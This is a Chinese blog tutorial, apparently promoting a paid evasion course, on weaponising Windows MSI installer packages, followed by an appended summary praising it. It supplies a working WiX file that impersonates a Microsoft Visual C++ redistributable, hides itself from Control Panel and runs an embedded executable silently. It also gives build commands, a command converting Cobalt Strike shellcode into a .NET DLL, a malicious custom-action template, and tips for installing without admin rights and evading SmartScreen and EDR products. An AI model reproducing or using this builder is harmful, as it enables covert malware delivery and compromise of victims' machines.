欢迎加入我的知识星球,目前正在更新免杀相关的东西,129/永久,每100人加29,每周更新2-3篇上千字PDF文档。文档中会详细描述。目前已更新69+ PDF文档
加好友备注(星球)!!!
MSI是一种标准的 Windows 安装包格式,主要用于安装、维护和卸载 Windows 应用程序,其实就是一个数据库文件,它包含了很多不同的信息,目的是为了让Windows系统能知道如何安装,更新或卸载某个应用程序,你可以把MSI文件看做是一个安装指南,它会告诉计算机每一步需要去做什么。
MSI文件采用的COM结构化存储技术是一种允许将多个文件组织和存储在一个容器中的技术,通常也称为OLE文档。它实际上是一种特殊的文件存储结构,让文件和数据可以以层次化的方式存储和访问,就像文件系统一样,这种结构允许MSI文件本身不仅包含单一的文件,而是能够存储多个文件,数据,以及信息等等,从而在一个包内包含了复杂的安装信息。
有没有一种感觉很像自解压ZIP文件???安装程序还允许使用System权限来执行。
在MSI文件中,数据流是其核心部分,他是由多个表组成的,这些表类似于关系型数据库中的表格,每一个表中存储了与安装过程相关的特定信息,通过主键和外键,这些表格之间建立了关系,确保MSI文件能够协调和管理安装过程中的各种数据。
我们可以将它看做是一个包含了多个表的数据库,每一个表都扮演着不同的角色,提供不同类型的信息。
如下图:
这个图中展示了一个数据库中的两张表,分别是Custom Action和File,以及他们的主外键关系。
Custom Action有两个字段,分别是Action和Source,Action
字段列出了不同的操作(例如:action1
,action2
,action3
)。
Source
字段表示每个操作对应的文件来源(例如:file
,mod
,TARGETDIR
)。
File表有三个字段,分别是File,Filename,Size。File
字段列出文件标识符(例如:file
和 mod
)。Filename
字段包含文件的实际名称(例如:file.exe
和 mod.dll
)。Size
字段表示文件的大小(例如:5 KB 和 10 KB)。图中箭头表示 Custom Action
表的 Source
字段与 File
表的 File
字段之间存在主外键关系。这意味着 Custom Action
表中的 Source
值必须与 File
表中存在的 File
值匹配,确保数据的一致性。
MSI可以使用WIX工具集的免费软件来进行创建,这个工具是开源的,MSI通常用于安装软件程序,MSI是一种windows安装包格式,用于分发,安装,更新和移除软件程序。MSI安装程序试图确保整个安装过程要么成功,要么在任何操作失败时自动回滚,以保持系统的一致性,如果在安装过程中某个自定义操作或步骤失败,MSI将回滚所有已执行的更改,确保不会留下部分安装的痕迹。
如果你打算设计一种格式,将要安装以及卸载一些程序,您需要为该格式配备至少一个完整的系统更改。
MSI文件的作用不仅是安装程序,它实际上是一个变更清单,包含了将要对系统进行的所有更改,这些更改通常包括了:文件复制,注册表修改,快捷方式创建,服务安装,环境变量更新等等。由于MSI文件包含一系列即将对系统执行的更改,我们可以提取这些元素,并基于这些信息来采取相应的措施。
在MSI中可以自定义操作,自定义操作允许在安装过程中执行特定的操作,例如运行脚本、调用外部程序或执行一些配置任务。这些操作并不是标准的安装任务(如文件复制或注册表编辑),而是为了满足特定需求而添加的操作。
无论什么时候安装软件,都会产生不同的动作由系统执行,比如第一个动作是将应用程序文件从MSI安装包中提取出来,并将他们复制到系统的硬盘驱动器上的指定目录,这个文件可以是可执行文件,也可以是资源相关的文件,第二个动作则是可以适当的调整注册表。
那么既然MSI可以自定义操作来执行脚本,比如VBscript
或Jscript
,所以我们可以创建运行VB脚本或Jscript
的MSI。
我们也可以通过自定义操作来加载并直接在内存中执行 .NET 程序集或 DLL 文件。也可以运行相关的系统命令或运行可执行文件。
在MSI安装过程中,安装程序(msiexec.exe)会在系统的临时目录中创建一个临时文件,通常这些文件包括.tmp
文件或临时的exe文件,这些文件用于执行安装的各种任务,例如自定义操作,脚本运行等等。
如下这张图可以看到左边窗口中显示了文件路径为 C:\Windows\System32\msiexec.exe
。msiexec.exe
的父进程是service.exe
,右侧窗口显示了MSI8244.tmp
临时文件进程信息,文件路径为 C:\Windows\Installer\MSI8244.tmp
,这是一个由 msiexec.exe
创建的临时文件。MSI8244.tmp
的父进程是msiexec.exe
。
如果MSI文件中包含了可执行文件,在安装过程中,它可能会以临时文件的形式被放置到C:\Windows\Installer
目录中。
这些临时文件会将可执行文件重命名,通常会赋予一个随机生成的名称,例如MSIXXX.tmp
。
需要注意的是Windows系统为我们提供了可配置全局策略对象的选项,以及注册表用于禁止低权限用户安装任何东西,如下注册表路径:HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer
所以我们需要去更改注册表来解决这个问题。
我们来简单总结一下:1.构建MSI安装程序,我们需要通过WIX工具集来进行构建,通过WIX工具集可以定义丰富的自定义操作,这些操作在安装的过程中可以执行额外的代码,比如运行DLL,运行EXE等等。
2.自定义操作的功能,我们可以通过<CustomAction>允许MSI安装包在安装过程中运行各种文件类型。比如DLL,EXE,VBscript.
3.安装包完成之后,可以卸载MSI,但是之前提取并运行的可执行文件仍然可以继续运行,甚至无需在硬盘上保留该文件。
4.MSI安装包可以直接在内存中运行VBSCRIPT或Jscript,从而避免将脚本写入磁盘中。
5.MSI还可以在内存中加载和运行.NET程序集,从而减少文件落地。
6.MSI可以将内部的EXE文件提取到c:\windows\installer\目录 比如MSIXXX.tmp
7.在运行EXE文件时,MSI可以解除EXE文件与安装程序的父子进程关系,使得EXE文件成为独立进程运行。
MSI是一种符合存储文件格式,这种格式的特点是将多个不同类型的数据存储在一个文件中,以实现便携的管理和访问。
MSI文件的内部结构类似于一个数据库,它包含了多个表,每一个表都存储特定类型的数据。在MSI文件结构中有一个专门的表格来管理和存储所有的CAB文件,这些CAB文件通常包含了安装所需的实际文件内容,比如程序文件,资源文件等等。CAB文件是微软的一种专有压缩格式,专门用于高效存储和分发多个文件,它类似于ZIP文件,是一种归档格式,用于将多个文件压缩到一个存档中。
在MSI实际使用中,大多数MSI文件仅包含了一个CAB文件,这意味着MSI文件中的所有安装内容通常都会被压缩并打包到一个单独的CAB文件中,而不是分散多个CAB文件中。
需要注意的是更改MSI会导致我们的签名失效。
除了MSI文件之外,还有MSP文件,MSP文件是Windows Installer补丁文件,用于更新现有的MSI文件。MSM文件用于windows合并模块安装文件,通常用于打包依赖项的情况下。MST文件是windows installer转换文件,可以用于修改MSI文件的安装配置,比如添加自定义操作。
为了查看和编辑MSI文件的内容,可以使用微软提供的ORCA工具,ORCA允许用户查看MSI文件的表结构,并对其进行修改,如添加或删除文件,修改安装路径等等,此外还有一些其他工具,比如lessmsi,可以用于提取MSI文件中的内容。
我们可以使用msi-dump.exe
来快速提取注入二进制文件的MSI文件。
如下图我们可以看到MSI文件会有一个签名:
我们使用lessmsi工具打开这个文件。lessmsi工具将帮我们去提取出msi文件中包含的所有文件。
如下图这里的Name列是文件的名称,Directory列是文件在安装包中的路径,这里显示的是 SourceDir\PFiles\PuTTY
,表示这些文件将被安装到PuTTY目录下,Component列表示每个文件在安装包中都属于一个特定的组件,组件名称表明了文件的功能或关联。
Size列表示文件的大小,Version列表示文件的版本号。
现在我们来看一下它的表,我们点击TableView选项。
在Table这里我们可以查看有哪些表。
比如二进制表(Binary Table),二进制表中包含了MSI文件的所有二进制数据,在二进制表中Name列表示二进制数据的名称,通常指代MSI文件安装过程中的图片或者图标资源,Data列表示数据列,数据列中显示的System.Byte[]表示这些二进制数据以字节数组的形式存储。
MSI文件组件表(Component),这个表中包含了对安装文件的引用以及这些文件在文件柜中的存放位置。
Component列是组件的名称,每一个组件通常对应一个文件或一组相关的文件,例如PuTTY_Component
、Pageant_Component
等组件名称表明了它们在安装包中的角色和作用。
ComponentId列是组件的ID,每一个组件都有一个唯一的标识符ID。
Directory_列指定了组件默认安装的目录,例如很多组件目录被设置为INSTALLDIR,表示将文件安装到默认目录中。
Attributes列指定了该组件的安装属性,属性值为0时表示标准安装设置。
Condition列显示安装该组件所需的条件,如果为空,则默认总是安装该组件。
KeyPath列显示关键路径。
CustomAction自定义操作表,这个表中可以自定义相关的操作,也是我们的重点关注的表。
Action列: 自定义操作的名称。
Type列: 类型代码,这里定义为65,定义了操作的执行条件或模式,不同类型的代码可以指示操作在安装,卸载,或其他安装阶段运行。
Source列: 来源列指定了自定义操作的来源。
Targert列: 目标列表示自定义操作要调用的特定函数或方法,在这个例子中,目标是ValidatePath
,用于验证路径的有效性。
ExtendedType列: 扩展类型值提供了额外的执行信息。
Environment(环境变量表),该表中包含安装过程中需要设置的环境变量。
Environment列: 环境变量的名称。
Name列: 指定了要设置的具体环境变量名,在这里是=*PATH
表示安装过程中要修改PATH环境变量
。
Value(值):此列定义了要赋予环境变量的值。在这里为 [~INSTALLDIR]
,表示安装目录路径会被添加到 PATH
环境变量中。[INSTALLDIR]
是一个占位符,在安装时会替换为实际的安装路径。
Component(组件):这一列指定了关联的组件。在这里,Path_Component
表示该环境变量设置依赖于此组件的安装。
File文件表,这个表中列出了安装包中包含的文件以及这些文件的详细信息。
File列 : 这是文件的标识ID,用于在安装程序的内部唯一标识该文件。
Component_列: 这一列表示每一个文件的所属的组件。
FileName列: 实际文件的名称,包括扩展名。
FileSize列: 文件的大小,以字节为单位,例如putty.exe的大小为531368个字节。
Version列: 文件的版本号。
Attributes列: 文件的属性代码,数值为512表示此文件具有属性配置,例如只读或隐藏等等。
Sequence列: 文件的安装顺序编号,决定了文件在安装过程中的安装顺序。
安装执行序列表,这个表定义了安装过程中各项操作的执行顺序。
Action列: 这个列是安装过程中要执行的具体操作,例如FindRelatedProducts
、AppSearch
和 ValidateProductID
等,代表不同的安装步骤。
Condition列::这一列定义了执行操作所需的条件。如果条件满足,该操作将在安装过程中执行;如果为空,则该操作无条件执行。
Sequence列:这是操作的执行顺序编号,决定了每个操作在安装过程中执行的顺序。数字越小的操作越早执行。例如,FindRelatedProducts
的顺序编号为 25,是早期执行的操作,而 InstallFinalize
的编号为 6600,是安装流程接近尾声时执行的操作。
Media表中包含了所有压缩柜文件的信息,这个表允许引用不同的CAB文件来存储安装文件,当有多个CAB时,可以通过多个DiskId来进行标识。
现在让我们来看看如何去构建一个MSI程序。
我们需要去通过WIX工具集来创建一个MSI安装包,并在安装的过程中去运行一个EXE文件。
然后使用candle.exe
编译.wxs
文件,并将其转换为.wixobj
文件。candle.exe project.wxs -arch x64
然后使用light.exe
将.wixobj
文件链接成一个MSI文件。light.exe -ext WixUIExtension -cultures:en-us -dcl:high -out evil.msi project.wixobj
首先我们创建一个.wxs
文件。<Wix xmlns="http://schemas.microsoft.com/wix/2006/wi">
<Product Name="Microsoft Visual C++ 2013 Redistributable (64) - 12.0.39659" Manufacturer="Microsoft Corporation" Id="*" UpgradeCode="56593721-F300-4163-B356-314B36826411" Language="1033" Version="12.0.39659">
<Package Manufacturer="Microsoft Corporation" InstallerVersion="400" Compressed="yes" InstallPrivileges="limited" InstallScope="perUser" />
<!-- 从“控制面板”程序列表中隐藏应用程序 -->
<Property Id="ARPSYSTEMCOMPONENT" Value="1"/>
<!-- 删除修复按钮 -->
<Property Id="ARPNOREPAIR" Value="yes" Secure="yes"/>
<!-- 删除修改按钮 -->
<Property Id="ARPNOMODIFY" Value="yes" Secure="yes"/>
<Media Id="1" Cabinet="fJZJXps.cab" EmbedCab="yes" CompressionLevel="high"/>
<!-- 这里是控制MSI的安装位置 我们也可以在这里加一些环境变量 -->
<SetDirectory Id="TtjuzJsbDq" Value="[%LOCALAPPDATA]\VcRedist"/>
<!-- 定义目录结构 -->
<Directory Id="TARGETDIR" Name="SourceDir">
<Directory Id="TtjuzJsbDq"/>
</Directory>
<!-- 将文件添加到安装程序包 -->
<DirectoryRef Id="TtjuzJsbDq">
<Component Id="gomssWwSQ" Guid="AA0FBF6B-45F7-443D-8835-BDF4F3E57D47">
<RemoveFile Id="ONAFvmRYK" Name="*.*" On="uninstall" Directory="TtjuzJsbDq"/>
<File Id="gomssWwSQ" Source="relaysec.txt" KeyPath="yes"/>
</Component>
</DirectoryRef>
<!-- 告诉WiX安装文件 -->
<Feature Id="MainProgram" Title="Microsoft Visual C++ 2013 Redistributable (64) - 12.0.39659" Level="1">
<ComponentRef Id="gomssWwSQ"/>
</Feature>
<!-- 安装后操作 -->
<Binary Id="lmskBju" SourceFile="Autoruns64.exe"/>
<CustomAction Id="fdpcc" Execute="deferred" BinaryKey="lmskBju" Return="asyncNoWait" ExeCommand="" Impersonate="yes" />
<InstallExecuteSequence>
<Custom Action="fdpcc" Before="InstallFinalize">NOT REMOVE</Custom>
</InstallExecuteSequence>
</Product>
</Wix>
再将其链接为MSI文件。
当我们双击evil.msi文件的时候,就会打开Autoruns64.exe文件。
我们可以使用Less打开发现我们并没有Autoruns64.exe这个文件,只有relaysec.txt文件。
打开File表:
在这里其实也是没有的。
还有上面的文件非常重要的一个属性是: ARPSYSTEMCOMPONENT
这个属性设置为1的话,他会使应用程序不会显示在控制面板和添加或删除程序中。
最后一个需要注意的点是安装执行序列,InstallExecuteSequence
属性定义自定义操作的执行顺序。
Custom
指定fdpcc操作在InstallFinalize
之前执行。
上部分我们了解到了MSI
安装程序可以去运行DLL
或Dotnet
程序。
需要注意的是我们不能简单的提取.Net
组件,因为Wix工具只适用于本地DLL,而.Net
DLL是托管的。
什么意思呢?在Windows操作系统中本地DLL和托管DLL是两种不同类型的动态链接库DLL,本地DLL主要是由C/C++来进行编写,直接在操作系统可以运行,它不依赖于.Net
运行库,而托管DLL是由C#来进行编写的,依赖于.Net
运行库,托管DLL是基于.Net
的字节码,不是直接可执行的机器码,必须由.Net
运行环境来加载和运行。
因为Wix工具集无法直接使用.Net组件,所以我们需要先去编译好我们的.Net程序或DLL,然后通过一些方式来使其可以在Wix工具中使用,比如我们可以将其包装成本地DLL。
我们可以通过这个工具来将托管DLL转换为本地DLL。
首先我们可以通过如下工具将shellcode转换为.Net
DLL文件。https://github.com/mgeeky/Penetration-Testing-Tools/blob/master/red-teaming/rogue-dot-net/generateRogueDotNet.py
python generateRogueDotNet.py –M --dotnet-ver v4 –t plain –s CustomAction –n CustomActions –m MyMethod –r –c x64 –o Relaysec.dll beacon.bin
这里参数简单介绍一下。-M //模式
-dotnet-ver v4 //这里指定的是dotnet的版本 一般我们都是4.0版本 这个根据你自己机器的版本来确定
-s //类名 可以自定义
-n //命名空间
-m //方法的名字
-c //系统的架构
-o //输出的文件名
beacon.bin //CobaltStrike的shellcode文件
执行成功之后会生成一个Relaysec.dll文件。
因为我们是通过.Net的csc.exe进行编译的,所以它是一个托管DLL,我们需要将其包装成本地DLL,使用如下工具将其包装成本地DLL。
这里我们可以使用MakeSfxCa.exe
工具将托管DLL与 sfxca.dll
和其他依赖项一起封装成一个混合 DLL。这个混合 DLL 是自解压和自包含的,能够加载 .NET 环境并执行托管代码。通过这种方式,我们就可以在 WiX 的安装过程中调用该 DLL 中的自定义操作。
这个工具是Wix工具集中的工具。MakeSfxCA.exe CustomAction.CA.dll sfxca.dll Relaysec.dll wix\Microsoft.Deployment.WindowsInstaller.dll
转换之后,就可以进行构建MSI程序了。
当然除了我们可以将shellcode转换为.Net托管DLL之外,我们也可以自己去编写DLL文件。
如下模版:using System;
using System.Collections.Generic;
using System.IO;
using System.Text;
using System.Diagnostics;
using Microsoft.Deployment.WindowsInstaller; //这里必须定义WindowsInstaller命名空间 这个命名空间提供了与MSI安装过程的集成
namespace CustomAction
{
public class CustomActions
{
//[CustomAction] 这个特性标记使得Wix可以识别该方法为自定义操作 以便在MSI安装中调用
[ ]
//这里的MyCustomAction是自定义操作的方法
public static ActionResult MyCustomAction(Session session)
{
// 自定义恶意代码的执行
System.Diagnostics.Process proc = new System.Diagnostics.Process();
proc.StartInfo.FileName = "C:\\windows\\system32\\calc.exe";
proc.Start();
return ActionResult.Success;
}
}
}
需要注意的是如果我们没有安装Wix工具集的话,我们需要引用一下WindowsInstaller.dll
。
右键项目->添加->项目引用->浏览->Microsoft.Deployment.WindowsInstaller.dll即可。
引用之后,我们需要将项目更改为类库,因为我们要生成DLL,而不是应用程序。
接下来就可以重新生成了。
我们不光可以在VS中进行编译,我们也可以直接在命令行进行编译: WINDIR%\Microsoft.NET\Framework64\v2.0.50727\csc.exe /r:Microsoft.Deployment.WindowsInstaller.dll /target:library /out:Relaysec.dll Program.cs
建议大家使用.Net2.0,不要使用.net4,.net4可能会出现一些问题。
大家直接去安装.net3.5即可。.net3.5就包含了.net2以及.net3。
安装地址如下:https://zhuanlan.zhihu.com/p/443234045
如下可以看到成功弹出计算机以及成功上线。
可以看到成功上线。
一些注意事项:
如果MSI文件带有MOTW标签(标记为来自互联网下载的文件) 那么Defender企业版的SmartScreen功能将会阻止其安装,SmartScreen功能会分析文件的来源和行为,尤其是从互联网上下载的文件,如果文件带有MOTW的话,SmartScreen会验证文件的可信度,以防止执行潜在的恶意内容,但是一般的PC或者笔记本上面使用的Windows Defender是不会干涉MSI文件的安装的。
还有一些不支持MOTW标签的EDR或AV都可能会被绕过,比如哨兵一号,CrowdStrike。
为了使MSI文件在没有本地管理员权限的情况下安装,可以在.wxs文件中使用以下的配置。
<Package InstallPrivileges="limited" InstallScope="perUser" />
:限制安装权限并设置为每个用户范围的安装。
<CustomAction Impersonate="yes" />
:设置自定义操作在当前用户的上下文中运行。
将 CustomAction/@Return
设置为 asyncNoWait
,可以让自定义操作在后台启动,而不会阻塞 Windows Installer 的安装过程。
但是,如果指定了 DllEntry
,则无法使用 asyncNoWait
,因为它们是互斥的。
如果遇到这种情况,可以将 Return="ignore"
,但要注意这会导致自定义操作在完成前阻塞安装过程,直到它执行完毕。这可能会影响到其他安装的继续。
自定义模型:
{文章来源和文章摘要}
Relay学安全公众号发布了一篇题为《一文带你详解MSI武器化》的文章。文章详细介绍了MSI文件的定义、结构、功能以及如何利用MSI文件进行武器化操作。MSI文件是Windows的标准安装包格式,用于安装、维护和卸载应用程序。文章还提到了如何通过MSI文件执行额外的代码,如运行VBScript或Jscript,以及如何利用MSI文件进行免杀技术的实现。
======
{文章总结}
文章首先介绍了MSI文件的基本概念和结构,指出MSI文件是一个包含多个表的数据库文件,用于存储安装、维护和卸载Windows应用程序所需的信息。接着,文章详细讲解了MSI文件的各个组成部分,如Custom Action表、File表、Directory表等,以及它们在安装过程中的作用。
文章还介绍了如何利用MSI文件执行非标准的安装任务,如运行VBScript或Jscript,以及如何通过MSI文件进行免杀技术的实现。此外,文章还提到了一些高级技巧,如如何利用MSI文件在内存中运行脚本,以及如何通过设置特定属性来控制安装行为。
最后,文章提供了一些实际操作的示例,如如何使用WiX工具集生成MSI文件,以及如何通过设置特定属性来实现不同的安装行为。
======
{对文章的看法}
这篇文章内容详实,深入浅出地介绍了MSI文件的各个方面,特别是如何利用MSI文件进行武器化操作的部分,对于安全研究人员和开发者来说具有很高的参考价值。文章不仅提供了理论知识,还结合实际操作进行了详细讲解,使得读者能够更好地理解和应用这些技术。
然而,文章中提到的某些技术可能涉及到安全风险,因此在实际应用中需要谨慎对待,确保在合法合规的范围内使用这些技术。总体来说,这是一篇非常有价值的技术文章,值得安全领域的专业人士深入阅读和研究。
微信扫一扫
关注该公众号